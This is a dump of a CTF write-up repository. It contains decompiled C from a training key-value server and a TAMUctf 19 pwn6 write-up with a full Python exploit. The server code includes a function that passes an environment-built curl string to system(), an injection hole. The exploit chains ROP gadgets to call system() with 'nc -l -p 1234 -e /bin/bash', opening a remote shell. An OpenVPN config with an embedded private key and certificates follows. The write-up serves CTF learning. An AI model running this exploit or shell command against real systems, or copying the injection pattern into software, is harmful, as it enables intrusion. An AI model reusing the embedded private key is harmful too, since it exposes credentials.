"/vagrant/spbctf/fargate-training/kv8/main.c", 0x65u, "cmd_put"); 162 | fwrite(data, 1uLL, HIDWORD(lens), fp); 163 | fclose(fp); 164 | v25 = 200LL; 165 | v26 = 0LL; 166 | write_header(200LL, 0LL); 167 | return __readfsqword(0x28u) ^ canary; 168 | } 169 | 170 | unsigned __int64 __fastcall 171 | cmd_get(__int64 cmd, unsigned __int64 buf_size) 172 | { 173 | void *v2; // rsp 174 | void *v3; // rsp 175 | size_t _data; // [rsp+0h] [rbp-1050h] 176 | __int64 v6; // [rsp+8h] [rbp-1048h] 177 | __int64 v7; // [rsp+10h] [rbp-1040h] 178 | __int64 v8; // [rsp+18h] [rbp-1038h] 179 | __int64 v9; // [rsp+20h] [rbp-1030h] 180 | __int64 v10; // [rsp+28h] [rbp-1028h] 181 | __int64 _cmd; // [rsp+30h] [rbp-1020h] 182 | __int64 _buf_size; // [rsp+38h] [rbp-1018h] 183 | __int64 v13; // [rsp+40h] [rbp-1010h] 184 | void *idx; // [rsp+48h] [rbp-1008h] 185 | FILE *fp; // [rsp+50h] [rbp-1000h] 186 | size_t data_len; // [rsp+58h] [rbp-FF8h] 187 | size_t v17; // [rsp+60h] [rbp-FF0h] 188 | void *data; // [rsp+68h] [rbp-FE8h] 189 | __int64 v19; // [rsp+70h] [rbp-FE0h] 190 | unsigned __int64 _data_len; // [rsp+78h] [rbp-FD8h] 191 | char filename; // [rsp+80h] [rbp-FD0h] 192 | unsigned __int64 canary; // [rsp+1028h] [rbp-28h] 193 | 194 | _cmd = cmd; 195 | _buf_size = buf_size; 196 | canary = __readfsqword(0x28u); 197 | check_auth(); 198 | v13 = _buf_size; 199 | v9 = _buf_size + 1; 200 | v10 = 0LL; 201 | v7 = _buf_size + 1; 202 | v8 = 0LL; 203 | v2 = alloca(16 * ((_buf_size + 16) / 16uLL)); 204 | idx = &_data; 205 | bzero(&_data, _buf_size + 1); 206 | readn(idx, _buf_size); 207 | check_path_part(idx); 208 | snprintf(&filename, 0xFA0uLL, "data/%s_%s", *(*(root_ctx + 5) + 8LL), idx); 209 | fp = fopen(&filename, "rb"); 210 | if ( fp ) 211 | { 212 | fseek(fp, 0LL, 2); 213 | data_len = ftell(fp); 214 | fseek(fp, 0LL, 0); 215 | v17 = data_len - 1; 216 | _data = data_len; 217 | v6 = 0LL; 218 | v3 = alloca(16 * ((data_len + 15) / 0x10)); 219 | data = &_data; 220 | fread(&_data, 1uLL, data_len, fp); 221 | fclose(fp); 222 | v19 = 200LL; 223 | _data_len = data_len; 224 | write_header(200LL, data_len); 225 | writen(data, _data_len); 226 | } 227 | else 228 | { 229 | v19 = 404LL; 230 | _data_len = 0LL; 231 | write_header(404LL, 0LL); 232 | } 233 | return __readfsqword(0x28u) ^ canary; 234 | } 235 | 236 | __int64 __fastcall 237 | cmd_quit(__int64 cmd, __int64 buf_size) 238 | { 239 | __int64 user; // rax 240 | __int64 (__fastcall *dealloc)(_QWORD); // ST18_8 241 | size_t goodbye_len; // [rsp+28h] [rbp-8h] 242 | 243 | if ( buf_size ) 244 | __assert_fail("header.l == 0", "/vagrant/spbctf/fargate-training/kv8/main.c", 0x93u, "cmd_quit"); 245 | goodbye_len = strlen("goodby"); 246 | write_header(200LL, goodbye_len); 247 | writen("goodby", goodbye_len); 248 | user = *(root_ctx + 5); 249 | if ( user ) 250 | { 251 | dealloc = *(*(root_ctx + 5) + 16LL); 252 | (dealloc)(*(*(root_ctx + 5) + 8LL), goodbye_len); 253 | user = dealloc(*(root_ctx + 5)); 254 | } 255 | return user; 256 | } 257 | 258 | unsigned __int64 __fastcall 259 | ping(__int64 cmd, unsigned __int64 buf_size) 260 | { 261 | void *v2; // rsp 262 | unsigned __int64 __buf_size; // rbx 263 | size_t pos; // rbx 264 | size_t root_len; // rax 265 | unsigned __int64 idx_len; // rax 266 | unsigned __int64 pond_len; // rax 267 | size_t idx_len_; // rax 268 | __int64 l2; // rbx 269 | size_t pong_len; // rax 270 | __int64 _cmd; // [rsp+0h] [rbp-60h] 271 | unsigned __int64 _buf_size; // [rsp+8h] [rbp-58h] 272 | unsigned __int64 v14; // [rsp+10h] [rbp-50h] 273 | char *idx; // [rsp+18h] [rbp-48h] 274 | char *pong; // [rsp+20h] [rbp-40h] 275 | size_t str_len; // [rsp+28h] [rbp-38h] 276 | __int64 v18; // [rsp+30h] [rbp-30h] 277 | size_t v19; // [rsp+38h] [rbp-28h] 278 | unsigned __int64 canary; // [rsp+48h] [rbp-18h] 279 | 280 | _cmd = cmd; 281 | _buf_size = buf_size; 282 | canary = __readfsqword(0x28u); 283 | if ( !buf_size || _buf_size > 0x400 ) 284 | __assert_fail( 285 | "header.l > 0 && header.l <= TLV_MAX_LEN", 286 | "/vagrant/spbctf/fargate-training/kv8/main.c", 287 | 0xA4u, 288 | "ping"); 289 | v14 = _buf_size - 1; 290 | v2 = alloca(16 * ((_buf_size + 15) / 0x10)); 291 | idx = &_cmd; 292 | readn(&_cmd, _buf_size); 293 | idx[_buf_size - 1] = 0; 294 | pong = " pong "; 295 | __buf_size = _buf_size; 296 | pos = strlen(" pong ") + __buf_size; 297 | root_len = strlen(root_ctx); 298 | str_len = pos + root_len; 299 | v18 = 200LL; 300 | v19 = pos + root_len; 301 | write_header(200LL, pos + root_len); 302 | idx_len = strlen(idx); 303 | writen(idx, idx_len); 304 | pond_len = strlen(pong); 305 | writen(pong, pond_len); 306 | idx_len_ = strlen(idx); 307 | l2 = str_len - idx_len_; 308 | pong_len = strlen(pong); 309 | writen(root_ctx, l2 - pong_len); 310 | return __readfsqword(0x28u) ^ canary; 311 | } 312 | 313 | char * 314 | init() 315 | { 316 | char *_root_ctx; // rax 317 | char *result; // rax 318 | const char *debug; // [rsp+8h] [rbp-8h] 319 | 320 | allocator_alloc = &malloc; 321 | allocator_dealloc = &free; 322 | root_ctx = malloc(0x40uLL); 323 | bzero(root_ctx, 0x40uLL); 324 | _root_ctx = root_ctx; 325 | *root_ctx = 'srev 8vk'; 326 | *(_root_ctx + 1) = '2424 noi'; 327 | _root_ctx[16] = 0; 328 | *(root_ctx + 8) = 4242; 329 | debug = getenv("DEBUG"); 330 | if ( debug && !strcmp("true", debug) ) 331 | *(root_ctx + 6) = report_and_exit; 332 | else 333 | *(root_ctx + 6) = &exit; 334 | result = root_ctx; 335 | *(root_ctx + 7) = root_ctx; 336 | return result; 337 | } 338 | 339 | void 340 | timeout() 341 | { 342 | firfirfir("timeout"); 343 | } 344 | 345 | int __cdecl 346 | main(int argc, const char **argv, const char **envp) 347 | { 348 | __int64 v3; // rdx 349 | signed int i; // [rsp+Ch] [rbp-14h] 350 | unsigned __int64 cmd; // [rsp+10h] [rbp-10h] 351 | __int64 buf_size; // [rsp+18h] [rbp-8h] 352 | 353 | init(); 354 | for ( i = 0; i <= 5; ++i ) 355 | { 356 | signal(14, timeout); 357 | alarm(3u); 358 | cmd = read_header(); 359 | buf_size = v3; 360 | if ( cmd > 5 ) 361 | firfirfir("wrong command"); 362 | (*(&handlers + cmd))(cmd, buf_size); 363 | } 364 | return 0; 365 | } 366 | 367 | __int64 __fastcall 368 | firfirfir(const char *a1) 369 | { 370 | perror(a1); 371 | return (*(root_ctx + 6))(0LL); 372 | } 373 | 374 | unsigned __int64 __fastcall 375 | writen(char *msg_buf, unsigned __int64 n) 376 | { 377 | unsigned __int64 result; // rax 378 | unsigned __int64 bytes_written; // [rsp+18h] [rbp-18h] 379 | char *buf; // [rsp+20h] [rbp-10h] 380 | ssize_t len; // [rsp+28h] [rbp-8h] 381 | 382 | if ( !n ) 383 | __assert_fail("n > 0", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x10u, "writen"); 384 | if ( !msg_buf ) 385 | __assert_fail("buf != NULL", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x11u, "writen"); 386 | bytes_written = 0LL; 387 | buf = msg_buf; 388 | do 389 | { 390 | while ( 1 ) 391 | { 392 | while ( 1 ) 393 | { 394 | if ( bytes_written >= n ) 395 | __assert_fail("bytes_written < n", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x15u, "writen"); 396 | len = write(1, buf, n - bytes_written); 397 | if ( len >= 0 ) 398 | break; 399 | firfirfir("reading error"); 400 | } 401 | if ( len ) 402 | break; 403 | firfirfir("reading eof"); 404 | } 405 | buf += len; 406 | bytes_written += len; 407 | result = n; 408 | } 409 | while ( n != bytes_written ); 410 | return result; 411 | } 412 | 413 | unsigned __int64 __fastcall 414 | readn(char *res_buf, unsigned __int64 n) 415 | { 416 | unsigned __int64 result; // rax 417 | unsigned __int64 bytes_read; // [rsp+18h] [rbp-18h] 418 | char *buf; // [rsp+20h] [rbp-10h] 419 | ssize_t len; // [rsp+28h] [rbp-8h] 420 | 421 | if ( !n ) 422 | __assert_fail("n > 0", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x26u, "readn"); 423 | if ( !res_buf ) 424 | __assert_fail("buf != NULL", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x27u, "readn"); 425 | bytes_read = 0LL; 426 | buf = res_buf; 427 | do 428 | { 429 | while ( 1 ) 430 | { 431 | if ( bytes_read >= n ) 432 | __assert_fail("bytes_read < n", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x2Bu, "readn"); 433 | len = read(0, buf, n - bytes_read); 434 | if ( len >= 0 ) 435 | break; 436 | firfirfir("reading error"); 437 | } 438 | if ( !len ) 439 | exit(0); 440 | buf += len; 441 | bytes_read += len; 442 | result = n; 443 | } 444 | while ( n != bytes_read ); 445 | return result; 446 | } 447 | 448 | __int64 449 | read_header() 450 | { 451 | __int64 cmd; // [rsp+0h] [rbp-20h] 452 | unsigned __int64 msg_len; // [rsp+8h] [rbp-18h] 453 | unsigned __int64 canary; // [rsp+18h] [rbp-8h] 454 | 455 | canary = __readfsqword(0x28u); 456 | cmd = 0LL; 457 | msg_len = 0LL; 458 | readn(&cmd, 0x10uLL); 459 | if ( msg_len > 0x400 ) 460 | firfirfir("msg too big"); 461 | return cmd; 462 | } 463 | 464 | unsigned __int64 __fastcall 465 | write_header(__int64 code, __int64 a2) 466 | { 467 | __int64 buf; // [rsp+0h] [rbp-10h] 468 | __int64 v4; // [rsp+8h] [rbp-8h] 469 | 470 | buf = code; 471 | v4 = a2; 472 | return writen(&buf, 0x10uLL); 473 | } 474 | 475 | __int64 476 | check_auth() 477 | { 478 | if ( !*(root_ctx + 5) ) 479 | firfirfir("not authorized"); 480 | return check_path_part(*(*(root_ctx + 5) + 8LL)); 481 | } 482 | 483 | __int64 __fastcall 484 | check_path_part(const char *path) 485 | { 486 | __int64 result; // rax 487 | char b; // [rsp+13h] [rbp-Dh] 488 | int i; // [rsp+14h] [rbp-Ch] 489 | size_t path_len; // [rsp+18h] [rbp-8h] 490 | 491 | path_len = strlen(path); 492 | if ( !path_len || path_len > 0x80 ) 493 | firfirfir("strange uid"); 494 | for ( i = 0; ; ++i ) 495 | { 496 | result = i; 497 | if ( path_len <= i ) 498 | break; 499 | b = path[i]; 500 | if ( (b <= '`' || b > 'z') && (b <= '@' || b > 'Z') && (b <= '/' || b > '9') && b != '-' ) 501 | firfirfir("bad uid"); 502 | } 503 | return result; 504 | } 505 | 506 | int __fastcall 507 | curl(const char *cmd) 508 | { 509 | char *v1; // rax 510 | 511 | v1 = strstr(cmd, "curl"); 512 | if ( v1 ) 513 | LODWORD(v1) = system(cmd); 514 | return v1; 515 | } 516 | 517 | unsigned __int64 __fastcall 518 | report_and_exit(unsigned int a1) 519 | { 520 | char *host; // [rsp+18h] [rbp-FB8h] 521 | char buf; // [rsp+20h] [rbp-FB0h] 522 | unsigned __int64 canary; // [rsp+FC8h] [rbp-8h] 523 | 524 | canary = __readfsqword(0x28u); 525 | host = getenv("ANALYTICS_HOST"); 526 | if ( host ) 527 | { 528 | bzero(&buf, 0xFA0uLL); 529 | snprintf(&buf, 0xFA0uLL, &byte_27AA, host, a1); 530 | curl(&buf); 531 | exit(a1); 532 | } 533 | return __readfsqword(0x28u) ^ canary; 534 | } -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/README.md: -------------------------------------------------------------------------------- 1 | # TAMUctf 19 2 | 3 | ## pwn6 4 | 5 | ## Information 6 | 7 | **Category** | **Points** | **Solves** | **Writeup Author** 8 | --- | --- | --- | --- 9 | PWN | 500 | 35 | [merrychap](https://github.com/merrychap) 10 | 11 | **Description:** 12 | 13 | > Setup the VPN and use the client to connect to the server. The servers ip address on the vpn is 172.30.0.2. Difficulty: hard 14 | 15 | **Files:** 16 | 17 | [server](./server) 18 | 19 | [client](./client) 20 | 21 | ## Initial information 22 | 23 | It's quite interesting that we're given not only a server binary but a client. Apparently, there is some specific communication protocol between a client and a server. 24 | 25 | Sadly, I lost both reversed binaries (don't solve CTFs in `/tmp` directory), so I will only describe the solution in general, without too specific code examples. 26 | 27 | There is already [writeup](https://ctftime.org/writeup/13673) on this task from OpenToAll. They used format string bug to exploit the server. And I suppose many solutions were based on this bug. My solution doesn't use inner sqlite database and any of the designed functions, so I guess this solution would be an interesting approach to you to explore. 28 | 29 | ## Reversing client 30 | 31 | Basically, the client connects to the specified server and can produce different designed functions as `check balance`, `create an account`, `create a user` and others. You decide which function to use. 32 | 33 | Message from the client to the server looks like the following: 34 | 35 | ``` 36 | | 4 bytes | 4 bytes | arbitrary | 37 | | payload length | request type | payload data | 38 | ``` 39 | 40 | To simplify the communication and throw away the client binary, we can write our own python client: 41 | 42 | ```python 43 | def send_msg(pc, type, indata, size=None): 44 | if size is None: 45 | size = len(indata) 46 | 47 | data = '' 48 | data += p32(size) 49 | data += p32(type) 50 | data += indata 51 | 52 | pc.send(data) 53 | ``` 54 | 55 | Now we're done with the client and can proceed to the server binary. 56 | 57 | ## Reversing server 58 | 59 | This is a statically linked binary, so we have a lot of functions inside of it. Basically, it's a simple non-blocking socket server that handles connections and incoming data. The main function looks as follows: 60 | 61 |

62 | 63 |

64 | 65 | The reason why I show you this function is the stack variable called `server`. This is a very important variable and contains a lot of information inside. In particular, it **contains our request** which will play an important role further. 66 | 67 | Now let's take a look at the function that processes incoming data: 68 | 69 |

70 | 71 |

72 | 73 | Looks creepy, right? And it really does :D 74 | 75 | `incoming_info` is a structure that contains all the needed information about incoming data. In particular, it has handlers for various requests (do you remember `request_type` I talked about earlier?). So, the binary checks that there is a handler for this `req_type` and if it is, then it calls it. In general, it looks something like this: 76 | 77 | ```python 78 | incoming_info[2 * (data.req_type + 4) + 4](server, incoming_info) 79 | ``` 80 | 81 | Also, `incoming_info` is on the heap and it's important too. 82 | 83 | To summarize, the server gets a request, looks at `req_type` and calls correspond handler for this request. 84 | 85 | ## Exploitation 86 | 87 | Alright, `incoming_info` is on the heap and `req_type` is an offset where the handler is placed. And we control `req_type`. So, we can specify some big number and go out of the `incoming_info` chunk. Let's explore the heap layout on the moment of checking handler existence. 88 | 89 | We send `"A" * 0x4b0` as the data we want to be processed by the server. 90 | 91 |

92 | 93 |

94 | 95 | - `rsi` is `incoming_info` 96 | - `rcx` is our data 97 | 98 |

99 | 100 |

101 | 102 | As you can see, our controlled input is below of `incoming_info`, and it gives us an opportunity to call one arbitrary function! This is cool, but we don't control `rdi` in a way to call `system("any command here")`. So, we need to control `rdi` somehow. 103 | 104 | I hope you remember that our incoming data is stored on the stack as well (in `server` variable) 105 | 106 |

107 | 108 |

109 | 110 | And my final idea was next: 111 | 112 | - We have a statically linked binary which has a lot of different gadgets 113 | 114 | - We can call one arbitrary function 115 | 116 | - Our input is stored on the stack 117 | 118 | So, having all of these, we can try to call gadget that will shift `rsp` to our controlled input and make ROP chain to put any string into `rdi` and call `system`. Yay, that's all folks. 119 | 120 | That gadget will shift rsp to our controlled input on the stack. 121 | 122 | ``` 123 | 0x0000000000409070 : add rsp, 0x58 ; ret 124 | ``` 125 | 126 | The main problem was to control rdi, so my ROP chain was a little bit tricky: 127 | 128 | ```python 129 | payload = p64(mov_rax_r13_pop_pop_pop) + p64(0) + p64(0) + p64(0) + \ 130 | p64(pop_rsi) + p64(0x870) + \ 131 | p64(sub_rax_rsi) + \ 132 | p64(push_rax_pop_rbx) + \ 133 | p64(pop_r12) + p64(pop_rax) + \ 134 | p64(mov_rdi_rbx_call_r12) + \ 135 | p64(system) 136 | ``` 137 | 138 | As long as `stdout` and `stderr` aren't dup into connecting socket, we need to open reverse shell. Since we control string for `system` it's not a problem at all. 139 | 140 | The final exploit is next: 141 | 142 | ```python 143 | from pwn import * 144 | 145 | 146 | def send_msg(pc, type, indata, size=None): 147 | if size is None: 148 | size = len(indata) 149 | 150 | data = '' 151 | data += p32(size) 152 | data += p32(type) 153 | data += indata 154 | 155 | pc.send(data) 156 | 157 | 158 | def main(): 159 | system = 0x401A10 160 | 161 | add_rsp = 0x409070 162 | 163 | pops = 0x4021cc 164 | mov_rax_r11_pop_pop_pop = 0x40a771 165 | mov_rdi_rbp_call_rax = 0x421678 166 | add_ebp_eax = 0x409267 167 | pop_rax = 0x409073 168 | push_rax_pop_rbx = 0x44f262 169 | mov_rax_r13_pop_pop_pop = 0x40c80a 170 | 171 | mov_rdi_rbx_call_r12 = 0x4a7f8c 172 | 173 | add_rax_rdx = 0x40e7ed 174 | sub_rax_rsi = 0x4096cf 175 | 176 | pop_rsi = 0x401e89 177 | pop_rdx = 0x4bb28e 178 | pop_r12 = 0x402048 179 | 180 | cmd = 'nc -l -p 1234 -e /bin/bash' + '\x00' 181 | 182 | # pc = remote('127.0.0.1', 6210) 183 | pc = remote('172.30.0.2', 6210) 184 | 185 | payload = p64(mov_rax_r13_pop_pop_pop) + p64(0) + p64(0) + p64(0) + \ 186 | p64(pop_rsi) + p64(0x870) + \ 187 | p64(sub_rax_rsi) + \ 188 | p64(push_rax_pop_rbx) + \ 189 | p64(pop_r12) + p64(pop_rax) + \ 190 | p64(mov_rdi_rbx_call_r12) + \ 191 | p64(system) 192 | 193 | send_msg(pc, 109, ('A' * 8) + 4 * p64(pops) + \ 194 | p64(add_rsp) + p64(0x41424344) + \ 195 | payload + cmd + \ 196 | 'B' * (0x4b8 - len(payload) - len(cmd)), 0) 197 | 198 | pc.interactive() 199 | 200 | 201 | if __name__ == '__main__': 202 | main() 203 | ``` 204 | 205 | ## Flag 206 | 207 | After running the exploit we just connect to the opened reverse shell and get our flag 208 | 209 |

210 | 211 |

212 | 213 | > Flag: gigem{dbff08334bfc2ae509f83605e4285b0e} 214 | 215 | ## Little notes 216 | 217 | I talked the to admin of this task and he said that this service was designed as a pwn playground and there were a lot of different vulns. But my way of exploitation doesn't use any of designed function and sqlite database. I hacked the way of communication between the client and the server. So, it was pretty cool and interesting challenge. Thanks to the admin! 218 | 219 | And Konata picture as a reward for the stolen flag :D 220 | 221 |

222 | 223 |

-------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/client: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/client -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | def send_msg(pc, type, indata, size=None): 5 | if size is None: 6 | size = len(indata) 7 | 8 | data = '' 9 | data += p32(size) 10 | data += p32(type) 11 | data += indata 12 | 13 | pc.send(data) 14 | 15 | 16 | def main(): 17 | system = 0x401A10 18 | 19 | add_rsp = 0x409070 20 | 21 | pops = 0x4021cc 22 | mov_rax_r11_pop_pop_pop = 0x40a771 23 | mov_rdi_rbp_call_rax = 0x421678 24 | add_ebp_eax = 0x409267 25 | pop_rax = 0x409073 26 | push_rax_pop_rbx = 0x44f262 27 | mov_rax_r13_pop_pop_pop = 0x40c80a 28 | 29 | mov_rdi_rbx_call_r12 = 0x4a7f8c 30 | 31 | add_rax_rdx = 0x40e7ed 32 | sub_rax_rsi = 0x4096cf 33 | 34 | pop_rsi = 0x401e89 35 | pop_rdx = 0x4bb28e 36 | pop_r12 = 0x402048 37 | 38 | cmd = 'nc -l -p 1234 -e /bin/bash' + '\x00' 39 | 40 | # pc = remote('127.0.0.1', 6210) 41 | pc = remote('172.30.0.2', 6210) 42 | 43 | payload = p64(mov_rax_r13_pop_pop_pop) + p64(0) + p64(0) + p64(0) + \ 44 | p64(pop_rsi) + p64(0x870) + \ 45 | p64(sub_rax_rsi) + \ 46 | p64(push_rax_pop_rbx) + \ 47 | p64(pop_r12) + p64(pop_rax) + \ 48 | p64(mov_rdi_rbx_call_r12) + \ 49 | p64(system) 50 | 51 | send_msg(pc, 109, ('A' * 8) + 4 * p64(pops) + \ 52 | p64(add_rsp) + p64(0x41424344) + \ 53 | payload + cmd + \ 54 | 'B' * (0x4b8 - len(payload) - len(cmd)), 0) 55 | 56 | pc.interactive() 57 | 58 | 59 | if __name__ == '__main__': 60 | main() -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/pwn6.ovpn: -------------------------------------------------------------------------------- 1 | 2 | client 3 | nobind 4 | dev tap 5 | remote-cert-tls server 6 | float 7 | explicit-exit-notify 8 | 9 | remote pwn6.naum.tamuctf.com 2005 udp 10 | 11 | 12 | 13 | 14 | -----BEGIN PRIVATE KEY----- 15 | MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC1vxLQ+kbg+E6M 16 | qbHRvGAtY1gC9a/4/LV9aYfx6F8VTzbJyYJ5KScbtcK25PcirJgkv4sXCsvW0Y+q 17 | YyaX5EP7Hh9bpfcZbn+u/qUzhA9WacXZh3WoaVyKIxBcAg99DE1URHVmlmUmz6Kv 18 | +3DXqvkDpI+OSCR9ytC2/nXK8DImgcO40MbcLcrpf90MWNG860nAVsgdBVii2UgR 19 | YPyuK9yfQkmhmHS/T22Ubk+y8q+7+7Iyc8b3yBr4h5WVcCalG5nxEvkyGQOGQj2s 20 | 5x9/0eu/o9vB2kFHzQ9Ct2Wp9Ty0TquTTzpdUl7LsmINVzh6F856MOagTyrJcUKW 21 | kyv6nhnRAgMBAAECggEBAK3Yd0cuH15SJdCnAVB9wAGqZSVvnUOtdmzf5QmgHFNl 22 | 0iJyfjsnAiGfWwFXQo4ISf/cuE7yJMj261UwQlpIHj62MYiY2CObbscVDTCZwZIG 23 | 2xmYWRMetUXtBFj+H5KdkdppIWNfuKHHOvbarLWe9VJmtmqC12T7+2kPPd1ApLfv 24 | Czcd1J6CAqI+b6GplZmKjR69Za6VUNcL4zYBfeL0C3JVcjRihSiD9QFfIGOxGzz4 25 | GYOvNholxTFZUAV1S683SEbubsVo9XAk+XjICyT7Z8BketSoeG2/VVZYlWriprkx 26 | t2dUpCBZ9RhlW9JVn6cTPjFso/UxiKv7ASjwhFcHP4ECgYEA3+ZZKNF10L2++8DO 27 | G/Excfv9nKMq9dxHRlq3ICI5s8skKA3nkxmjUqJaMIv5WHzvUsRR78/xyfqIqiyS 28 | d1Fh5iiA4yR+FlIdtAtlnzxnu+xg9uQ0e0x9P2/BdROEOoVWACpZJd9W1/s2sQku 29 | SQKW6j1p/vDtsTm8+ioaLhIDTU8CgYEAz82YXq1zwhef4D/O9dDSYh42ZCRHX9mp 30 | rtr5GjV+cyipzvKcIT4jKfOx+YFVFO9BVitR0zJwY7cshVq7HZoEvyjrQE/kpojY 31 | cXbl+iIyEtTpAaSodtSIpQDnIAKLmFm7935X6Wm8MMCxlE0B623jAokuDdX5VRyx 32 | F8uI4WPJnt8CgYAVCAIf/2zdqrUh2L6DiWhnmI/+AqWqaoKXbTX+Yrig1tgSmxvB 33 | iYr53B40qTFGypWAZMh9ij7gBhSIR5+Kba6QfAV/UJI3boczvk5RYs8rq8x/5He5 34 | jTnGl6zIXojxJk0pvtCY6h2yM/qzLnWWjhO29QXb2K27E/1YUlQbN73vqQKBgQCb 35 | HHUK3uAUVfwRsK90T25qrPCeqXHZeyisi2j7hkif/w9ZmUCvk6k9zFjhzAdNPBYC 36 | Ew3d3r2DwRvrYsFfJDM82XdYpwoewPEHKOAbaOEFq4VNo7HYGWbx+42KGDxI+VpU 37 | MCvA4BsILR2gfCbdrEWSBAGrdDfLr0IFZ/kBfLHn8wKBgQCMBN9NgZrfB0G+GxCU 38 | 9mo9BU3hpoJxE5wHNvknBCARvypUMEVYxgn7hj4+o/VSCv/yxQsquZx8y4nZ0lJq 39 | kzNuNs23uUa1j7ag4BtI8P4RShEe2sl76RcQ4zmW0pQ2e5KZ8xaauJDNW7NLwnLa 40 | EFL37j6W3ZPSOenrQfamKBHTGg== 41 | -----END PRIVATE KEY----- 42 | 43 | 44 | -----BEGIN CERTIFICATE----- 45 | MIIDZDCCAkygAwIBAgIRAMoHDKh4UIm0ATH71IYv60IwDQYJKoZIhvcNAQELBQAw 46 | IzEhMB8GA1UEAwwYY2EucHduNi5uYXVtLnRhbXVjdGYuY29tMB4XDTE5MDIyMzA5 47 | MTUxNVoXDTIyMDIwNzA5MTUxNVowETEPMA0GA1UEAwwGdm9pZGthMIIBIjANBgkq 48 | hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtb8S0PpG4PhOjKmx0bxgLWNYAvWv+Py1 49 | fWmH8ehfFU82ycmCeSknG7XCtuT3IqyYJL+LFwrL1tGPqmMml+RD+x4fW6X3GW5/ 50 | rv6lM4QPVmnF2Yd1qGlciiMQXAIPfQxNVER1ZpZlJs+ir/tw16r5A6SPjkgkfcrQ 51 | tv51yvAyJoHDuNDG3C3K6X/dDFjRvOtJwFbIHQVYotlIEWD8rivcn0JJoZh0v09t 52 | lG5PsvKvu/uyMnPG98ga+IeVlXAmpRuZ8RL5MhkDhkI9rOcff9Hrv6PbwdpBR80P 53 | QrdlqfU8tE6rk086XVJey7JiDVc4ehfOejDmoE8qyXFClpMr+p4Z0QIDAQABo4Gk 54 | MIGhMAkGA1UdEwQCMAAwHQYDVR0OBBYEFFbGxf7zfr7OePmPwLwrCrjqwOBDMFMG 55 | A1UdIwRMMEqAFK8mNXdg+HtvYUvYnX2kfAV1vzTkoSekJTAjMSEwHwYDVQQDDBhj 56 | YS5wd242Lm5hdW0udGFtdWN0Zi5jb22CCQDBPbtYbFS/BjATBgNVHSUEDDAKBggr 57 | BgEFBQcDAjALBgNVHQ8EBAMCB4AwDQYJKoZIhvcNAQELBQADggEBAEHGheJm7Aas 58 | 2gkePxrKiM3stLpRlYKj0pxkz7ws3n+sYrGIw4PPkhvgFOqdw6Xg2UsqLISqfDaY 59 | DfkOVsz4XpPvfwosr0zcc7p+E15Z3Bg16TxLFxMSVlKE0NG/caV7T61IZ0CesynA 60 | 7ijcH8sHmqVn3M2cVtqv+bbsVbO0F6B66mtjkW3NfZ6RmPStIHcNe7g5fIjVXFsU 61 | IIKoGBsm5c6mvwgbfBsvgqbN3lseiBZsHYIni/kmx5XpYhguCdZ9kM+iAvyDbcOD 62 | c/lNh6OIbhk1TVNQc73xnovIPLx1E5RfY6ycSeZwvCigAdqa64bZlzDtSUcWSNXU 63 | 8wTXYw+svME= 64 | -----END CERTIFICATE----- 65 | 66 | 67 | -----BEGIN CERTIFICATE----- 68 | MIIDXDCCAkSgAwIBAgIJAME9u1hsVL8GMA0GCSqGSIb3DQEBCwUAMCMxITAfBgNV 69 | BAMMGGNhLnB3bjYubmF1bS50YW11Y3RmLmNvbTAeFw0xOTAyMjIxOTAwMDBaFw0y 70 | OTAyMTkxOTAwMDBaMCMxITAfBgNVBAMMGGNhLnB3bjYubmF1bS50YW11Y3RmLmNv 71 | bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMZE4nofOUT6OQYzAhlC 72 | joN1/+vjNqRlwyRBL44pVd9FiLDA3jyd8QDpFVAKOEK9VFnseJZKZ7k++rZNjc1b 73 | sIUK2FSW/yn14rNHNaoKZGD8fKr2H/QDIeSmndOdTyYiWT7MQNqPK6pOG7FfyNFs 74 | 1yzsKmDrO1yOBs5HlWFruhSdon+R9FrwjfK+nGnK2DA+Tnbh5UQyMa9qrjDtZtmL 75 | 4qNsnwsde0dIW5OhYJBbZr4r/E2rmt2C1dhVAZKEOVjaolc0SK9MpZEZgMwdqSjW 76 | wYdWbIHEq74kqBt9SKHDU6GWPHwCylcq1NqdgvX9IprZERnVH+sc9/esgiiYrdT3 77 | H18CAwEAAaOBkjCBjzAdBgNVHQ4EFgQUryY1d2D4e29hS9idfaR8BXW/NOQwUwYD 78 | VR0jBEwwSoAUryY1d2D4e29hS9idfaR8BXW/NOShJ6QlMCMxITAfBgNVBAMMGGNh 79 | LnB3bjYubmF1bS50YW11Y3RmLmNvbYIJAME9u1hsVL8GMAwGA1UdEwQFMAMBAf8w 80 | CwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBCwUAA4IBAQBmBskfsToeOOzv3xOkAQpR 81 | NodHt6ZNt0cy7HRLcJ81fm8ZVg+O4UhJHSNdqbcvs/G7pD9jCuDXd1FXVw+4I3G6 82 | NHS0hEhf1+YS4VlhN95U0CEbmY5ar9JjVQKrX4lJG2IV+WlLqew7vSTe9I4Urw7R 83 | Uvpz8/VLsAZx+m0+8kGvnikSHC5AmQ31mCFBRxPKq1zmNdkqdUlVm3lGBLenKpd9 84 | UxF3E+i+it+EJLbnKzQNmqHGQzSFNlYMaYyknaB/SLpo2u5IuwIErWwpIYt7yFfN 85 | gn2HL4a+rF4LD/bxppUerys2QaizOYRkOYul5Yxjfvb/13+xi9wYRp5646dCb7B7 86 | -----END CERTIFICATE----- 87 | 88 | key-direction 1 89 | 90 | cipher AES-256-CBC 91 | auth SHA256 92 | comp-lzo 93 | -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/screens/bp_validation.png: -------------------------------------------------------------------------------- 